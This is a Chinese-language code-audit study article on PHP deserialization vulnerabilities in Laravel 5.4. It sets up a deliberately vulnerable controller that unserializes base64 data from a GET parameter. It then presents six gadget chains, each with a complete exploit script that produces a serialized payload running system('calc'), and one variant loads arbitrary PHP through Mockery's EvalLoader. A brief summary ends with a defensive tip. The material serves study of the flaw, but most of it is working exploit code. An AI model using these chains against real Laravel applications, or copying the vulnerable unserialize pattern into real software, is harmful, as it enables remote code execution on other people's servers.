代码审计学习—Laravel5.4
字数 1586 2025-08-29 08:31:47

Laravel 5.4 反序列化漏洞分析与利用

环境搭建

  1. routes/web.php 中添加路由:
Route::get('/', "DemoController@demo");
  1. app/Http/Controllers 目录下添加控制器:
<?php 
namespace App\Http\Controllers;
use Illuminate\Http\Request;

class DemoController extends Controller {
    public function demo() {
        if(isset($_GET['data'])) {
            @unserialize(base64_decode($_GET['data']));
        } else {
            highlight_file(__FILE__);
        }
    }
}

漏洞分析

反序列化漏洞的触发点通常位于 __destruct()__wakeup() 方法中。

POC链分析

POC链-1

利用路径

  1. PendingBroadcast::__destruct()
  2. Generator::__call()
  3. Generator::format()
  4. Generator::getFormatter()

关键点

  • PendingBroadcast 类的 $events$event 属性可控
  • Generator 类的 $formatters 数组可控

EXP:

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($events="", $event="") {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Faker {
    class Generator {
        protected $formatters = array();
        function __construct($func="") {
            $this->formatters = ['dispatch' => $func];
        }
    }
}

namespace {
    $demo1 = new Faker\Generator("system");
    $demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
    echo base64_encode(serialize($demo2));
}
?>

POC链-2

利用路径

  1. PendingBroadcast::__destruct()
  2. Validator::__call()
  3. Validator::callExtension()
  4. call_user_func_array()

关键点

  • Validator 类的 $extensions 数组可控
  • 通过截取方法名后调用扩展方法

EXP:

<?php
namespace Illuminate\Validation {
    class Validator {
        public $extensions = [];
        public function __construct() {
            $this->extensions = ['' => 'system'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Validation\Validator;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($cmd) {
            $this->events = new Validator();
            $this->event = $cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>

POC链-3

利用路径

  1. PendingBroadcast::__destruct()
  2. ChannelManager::__call()
  3. ChannelManager::driver()
  4. ChannelManager::createDriver()
  5. ChannelManager::callCustomCreator()

关键点

  • ChannelManager 类的 $customCreators$app 属性可控
  • 通过自定义驱动创建器触发RCE

EXP:

<?php
namespace Illuminate\Notifications {
    class ChannelManager {
        protected $app;
        protected $customCreators;
        protected $defaultChannel;
        public function __construct() {
            $this->app = 'calc';
            $this->defaultChannel = 'H3rmesk1t';
            $this->customCreators = ['H3rmesk1t' => 'system'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Notifications\ChannelManager;
    class PendingBroadcast {
        protected $events;
        public function __construct() {
            $this->events = new ChannelManager();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POC链-4

利用路径

  1. PendingBroadcast::__destruct()
  2. Dispatcher::dispatch()
  3. Dispatcher::getListeners()
  4. 直接调用可控的监听器函数

关键点

  • Dispatcher 类的 $listeners 数组可控
  • 通过控制监听器函数和事件参数实现RCE

EXP:

<?php
namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners = [];
        public function __construct() {
            $this->listeners = ["calc" => ["system"]];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Events\Dispatcher;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = "calc";
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POC链-5

利用路径

  1. PendingBroadcast::__destruct()
  2. Dispatcher::dispatch()
  3. Dispatcher::dispatchToQueue()
  4. call_user_func()

关键点

  • Dispatcher 类的 $queueResolver 可控
  • 需要 $command 实现 ShouldQueue 接口
  • 利用 BroadcastEvent 类满足条件

EXP:

<?php
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    class BroadcastEvent {
        public $connection;
        public $event;
        public function __construct() {
            $this->event = "calc";
            $this->connection = $this->event;
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

POC链-6

利用路径

  1. PendingBroadcast::__destruct()
  2. Dispatcher::dispatch()
  3. Dispatcher::dispatchToQueue()
  4. call_user_func()
  5. EvalLoader::load()
  6. MockDefinition::getCode()

关键点

  • 利用 EvalLoader 加载恶意代码
  • 需要绕过 MockConfiguration 的类名检查

EXP-1:

<?php
namespace Mockery\Generator {
    class MockConfiguration {
        protected $name = 'H3rmesk1t';
    }
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct() {
            $this->config = new MockConfiguration();
            $this->code = "<?php system('calc');?>";
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition();
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

**EXP-2**:
```php
<?php
namespace Symfony\Component\HttpFoundation {
    class Cookie {
        protected $name = "H3rmesk1t";
    }
}

namespace Mockery\Generator {
    use Symfony\Component\HttpFoundation\Cookie;
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct($code) {
            $this->config = new Cookie();
            $this->code = $code;
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition("<?php system('calc');?>");
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo base64_encode(serialize(new PendingBroadcast()));
}
?>

总结

  1. Laravel 5.4 反序列化漏洞主要通过 PendingBroadcast 类的 __destruct() 方法作为入口点
  2. 利用方式多样,可以通过 __call() 方法或 dispatch() 方法作为跳板
  3. 关键点在于控制类属性,构造合适的调用链
  4. 漏洞利用需要满足特定条件,如实现特定接口或包含特定属性
  5. 防护措施:避免反序列化用户可控数据,更新到最新版本
Laravel 5.4 反序列化漏洞分析与利用 环境搭建 在 routes/web.php 中添加路由: 在 app/Http/Controllers 目录下添加控制器: 漏洞分析 反序列化漏洞的触发点通常位于 __destruct() 或 __wakeup() 方法中。 POC链分析 POC链-1 利用路径 : PendingBroadcast::__destruct() Generator::__call() Generator::format() Generator::getFormatter() 关键点 : PendingBroadcast 类的 $events 和 $event 属性可控 Generator 类的 $formatters 数组可控 EXP : POC链-2 利用路径 : PendingBroadcast::__destruct() Validator::__call() Validator::callExtension() call_user_func_array() 关键点 : Validator 类的 $extensions 数组可控 通过截取方法名后调用扩展方法 EXP : POC链-3 利用路径 : PendingBroadcast::__destruct() ChannelManager::__call() ChannelManager::driver() ChannelManager::createDriver() ChannelManager::callCustomCreator() 关键点 : ChannelManager 类的 $customCreators 和 $app 属性可控 通过自定义驱动创建器触发RCE EXP : POC链-4 利用路径 : PendingBroadcast::__destruct() Dispatcher::dispatch() Dispatcher::getListeners() 直接调用可控的监听器函数 关键点 : Dispatcher 类的 $listeners 数组可控 通过控制监听器函数和事件参数实现RCE EXP : POC链-5 利用路径 : PendingBroadcast::__destruct() Dispatcher::dispatch() Dispatcher::dispatchToQueue() call_user_func() 关键点 : Dispatcher 类的 $queueResolver 可控 需要 $command 实现 ShouldQueue 接口 利用 BroadcastEvent 类满足条件 EXP : POC链-6 利用路径 : PendingBroadcast::__destruct() Dispatcher::dispatch() Dispatcher::dispatchToQueue() call_user_func() EvalLoader::load() MockDefinition::getCode() 关键点 : 利用 EvalLoader 加载恶意代码 需要绕过 MockConfiguration 的类名检查 EXP-1 : 总结 Laravel 5.4 反序列化漏洞主要通过 PendingBroadcast 类的 __destruct() 方法作为入口点 利用方式多样,可以通过 __call() 方法或 dispatch() 方法作为跳板 关键点在于控制类属性,构造合适的调用链 漏洞利用需要满足特定条件,如实现特定接口或包含特定属性 防护措施:避免反序列化用户可控数据,更新到最新版本